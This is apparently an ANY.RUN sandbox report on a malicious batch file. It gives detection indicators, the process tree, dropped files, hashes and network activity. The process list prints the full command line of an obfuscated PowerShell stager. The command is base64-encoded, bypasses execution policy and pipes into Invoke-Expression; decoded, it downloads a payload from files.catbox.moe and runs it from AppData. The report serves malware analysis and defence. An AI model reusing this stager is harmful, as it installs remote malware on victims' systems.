File name:

px5r4x.bat

Full analysis: https://app.any.run/tasks/af1b3e8d-3369-46b8-b9f1-12aa76753163
Verdict: Malicious activity
Analysis date: April 15, 2025, 17:18:33
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (511), with no line terminators
MD5:

86E2B0762F80634576A9515E22D87AF4

SHA1:

B6E29243F77C88814930828305CE373F13AC0BBE

SHA256:

21C832F9D76B8AE74320B8FAC811A761F09F871EE32C9AB1C8FB1492B95A7D04

SSDEEP:

12:s80Qpc5InLgyaIS1PKC26wx0rpsV45kJ00qoKMnaXBXOVZ50H:xLw1PKC26mqy4YnGkVi

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3396)
      • powershell.exe (PID: 7228)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 3396)

  • SUSPICIOUS

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 3396)

    • Application launched itself

      • powershell.exe (PID: 3396)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 3396)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 3396)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7228)

    • Suspicious files were dropped or overwritten

      • powershell.exe (PID: 7228)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 7228)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 7228)

    • Starts application with an unusual extension

      • powershell.exe (PID: 7228)

    • Executes application which crashes

      • masonphq5nk.bat (PID: 7800)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 7228)

    • Checks proxy server information

      • powershell.exe (PID: 7228)

    • Checks supported languages

      • masonphq5nk.bat (PID: 7800)

    • Creates files or folders in the user directory

      • WerFault.exe (PID: 7916)

    • The executable file from the user directory is run by the Powershell process

      • masonphq5nk.bat (PID: 7800)

    • Reads the computer name

      • masonphq5nk.bat (PID: 7800)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
138
Monitored processes
9
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs powershell.exe sppextcomobj.exe no specs slui.exe no specs masonphq5nk.bat werfault.exe no specs rundll32.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3396"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\px5r4x.bat.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
6108\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7228"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('CiRiYXNlNjQgPSAoaXdyIC1VcmkgJ2h0dHBzOi8vZmlsZXMuY2F0Ym94Lm1vZS8zNTg4dzkudHh0JykuQ29udGVudAokYnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRiYXNlNjQpCiRwYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZSgkZW52OkFQUERBVEEsICdtYXNvbnBocTVuay5iYXQnKQpbU3lzdGVtLklPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRwYXRoLCAkYnl0ZXMpClN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwYXRoCg==')) | Invoke-Expression"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
7296C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7328"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7800"C:\Users\admin\AppData\Roaming\masonphq5nk.bat" C:\Users\admin\AppData\Roaming\masonphq5nk.bat
powershell.exe
User:
admin
Company:
%Company%
Integrity Level:
MEDIUM
Description:
%Title%
Exit code:
3762504530
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\roaming\masonphq5nk.bat
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
7916C:\WINDOWS\system32\WerFault.exe -u -p 7800 -s 760C:\Windows\System32\WerFault.exe—masonphq5nk.bat
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
8096C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
Total events
11 546
Read events
11 546
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
6
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
7916WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_masonphq5nk.bat_96506e32d75bd2edc0f608f865ca823946a2_56def535_704ab52d-b491-4123-8bb2-8b0802d98674\Report.wer —
MD5:—
SHA256:—
7916WerFault.exeC:\Users\admin\AppData\Local\CrashDumps\masonphq5nk.bat.7800.dmp —
MD5:—
SHA256:—
3396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EUST8V9T97HATCTQTY3M.tempbinary
MD5:5DD05FFBC6E79418671AA7734D9AC508
SHA256:5F993ED9DEFE45424889544781D6F8061C882CBB2B4B1A555D2D578502A210C9
3396powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qilt0qtv.idv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b49c.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
3396powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2tsqbd21.cea.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3396powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:5DD05FFBC6E79418671AA7734D9AC508
SHA256:5F993ED9DEFE45424889544781D6F8061C882CBB2B4B1A555D2D578502A210C9
7228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1nmztzyb.mfz.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7228powershell.exeC:\Users\admin\AppData\Roaming\masonphq5nk.batexecutable
MD5:A1592D9C8EA3E725199E2901F43BC1C5
SHA256:8205FBBD90367E4C7FD72602DF87AD88702AC0B5D47029E6C734BB5F475A52CA
7916WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERCEAC.tmp.dmpbinary
MD5:99B42CC98DB32257160914D31D9771BE
SHA256:4B6D4F77CDD0D6CD7AD4FEBF903F6D6425D6EC447E74FC1F3926373817E27E0D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
16
DNS requests
10
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.180:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
8188
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
8188
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.48.23.180:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2104
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7228
powershell.exe
108.181.20.35:443
files.catbox.moe
TELUS Communications
CA
malicious
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
8188
SIHClient.exe
4.175.87.197:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
8188
SIHClient.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
8188
SIHClient.exe
13.85.23.206:443
fe3cr.delivery.mp.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 23.48.23.180
  • 23.48.23.177
  • 23.48.23.192
  • 23.48.23.179
  • 23.48.23.191
  • 23.48.23.183
  • 23.48.23.134
  • 23.48.23.140
  • 23.48.23.139
whitelisted
google.com
  • 216.58.206.78
whitelisted
files.catbox.moe
  • 108.181.20.35
malicious
client.wns.windows.com
  • 172.211.123.248
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET INFO Observed File Sharing Service Download Domain (files .catbox .moe in TLS SNI)
No debug info
Interactive malware hunting service ANY.RUN
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Reports
px5r4x.bat